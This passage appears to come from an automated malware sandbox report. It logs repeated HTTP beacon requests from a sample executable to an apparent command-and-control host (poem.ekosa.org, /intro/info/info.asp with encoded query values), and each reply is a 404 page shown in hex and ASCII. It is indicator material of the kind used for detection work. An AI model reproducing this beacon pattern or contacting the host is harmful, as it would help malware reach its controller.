3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.4	49819	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:27.505677938 CET	497	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:27.777065039 CET	497	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:27 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.4	49820	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:28.050844908 CET	498	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:28.313766956 CET	498	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:27 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.4	49821	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:28.720854044 CET	499	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:28.988908052 CET	500	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:28 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.4	49822	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:29.263376951 CET	500	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:29.530343056 CET	501	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:28 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.4	49823	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:29.813901901 CET	502	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:30.075021982 CET	502	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:29 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.4	49824	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:30.446429968 CET	503	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:30.707518101 CET	507	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:29 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.4	49826	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:30.978195906 CET	513	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:31.238159895 CET	517	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:31 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.4	49827	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:31.513567924 CET	520	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:31.771861076 CET	523	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:31 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49765	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:00.138458967 CET	122	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:00.403141022 CET	123	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:00 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.4	49828	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:32.158154011 CET	527	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:32.421650887 CET	530	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:32 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.4	49829	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:32.698961973 CET	532	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:32.968071938 CET	536	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:32 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 